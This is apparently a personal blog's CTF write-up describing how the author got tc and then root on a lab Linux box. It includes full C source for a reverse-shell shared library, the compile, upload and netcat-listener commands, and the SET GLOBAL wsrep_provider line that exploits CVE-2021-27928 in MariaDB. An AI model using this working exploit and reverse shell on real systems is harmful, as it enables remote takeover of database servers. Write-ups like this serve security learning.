Wednesday, April 21, 2021

Central-InfoSec CTF writeup: Hack [not] root

I'm new to participating in CTFs, but last week I (and the team I was on) tried out the Central-InfoSec CTF. It was fun, and our team ended up coming in third.

I understand that part of CTFs is writing up solutions to questions after the competition is done. With that in mind, here is my solution to the "Hack not Root" and "Hack Root" questions.

Basically, there was a linux system, and your goal is to gain access to the tc and root accounts respectively.

From a previous question, we had ssh access to an account named "ssh". So the first thing I did was figure out what was running as the tc user, to see what to attack:

 

Looks like mysql is the main surface area (If you time it just right, you will also a wget process triggered by cron once every 5 minutes).

From a previous question, we know that mysql is running on default port, with username root and no password.


First thing I thought of was to use the SELECT ... INTO OUTFILE feature, which allows you to make files as long as the file doesn't currently exist and you have proper permissions on the directory. So i tried writing a PHP file:




Unfortunately, PHP was running as the user nobody, so no dice:



 
Maybe there was some other file I could have created to escalate privs, but I didn't see anything obvious.
 
Next I checked what version of mysql was running:

mysql> SELECT VERSION();
+-----------------+
| VERSION()       |
+-----------------+
| 10.4.11-MariaDB |
+-----------------+
1 row in set (0.00 sec)
 
Looking up that version, number, it seems like it has a pretty critical vulnerability: CVE-2021-27928.
 
Basically, the  wsrep_provider variable points to a dynamically loaded object. If you change it, mysql attempts to load the object with dlopen().

First I made a shared library file the spawns a reverse shell in a constructor function (Hard coded to connect to 192.168.56.1 on port 4005):

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "192.168.56.1"
#define REMOTE_PORT 4005

// Mark this function a constructor, so it loads immediately
// upon dlopen()
static void __attribute__ ((constructor)) \
  lib_init(void);

static void lib_init(void) {

    if (fork() != 0 ) {
       return;
    }
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    char *newargv[] = { "/bin/sh", NULL };
    char* env[] = {NULL};
    execve("/bin/sh", newargv, env);
}


Compiled with gcc: gcc exploit.c -fPIC -shared  -o exploit.so  (If you're not compliling on x86-64 linux, you probably need different arguments)

Then we need to transfer it to the system. We know from a previous question that you can access the ssh account over ssh.

scp exploit.so ssh@192.168.56.101:/tmp/exploit.so


mysql -u root -h 192.168.56.101


In preparation of exploit, launch an nc instance to catch the shell

nc -v -l 4005  (might need to add the -p option there depending on which netcat you are using)


Now, to exploit, we load this .so as the implementation of wsrep provider. This causes mariadb to to load the dynamically linked object and execute the constructor function:

SET GLOBAL wsrep_provider="/tmp/exploit.so";

It will claim this failed (Since we did not actually implement a wsrep provider), but that's ok, the exploit happens before the error processing


In the other window, our nc process has now been connected to a remote shell for the tc user:




As you can see, I ran ls, followed by id. I am the tc user in the staff group. Thus we have done the first question of getting access to the tc user.


From there, getting root is easy. Since tc is allowed to use sudo, just run sudo /bin/su. We can verify this worked using the id command.


 
And thus the problem is solved. It was a fun first CTF experience. Thank you to Central-InfoSec for putting it together.
 
The organizers indicated that they put this problem together before this CVE was even published and that there were multiple methods of solving this problem, so I'm rather curious how other people solved it.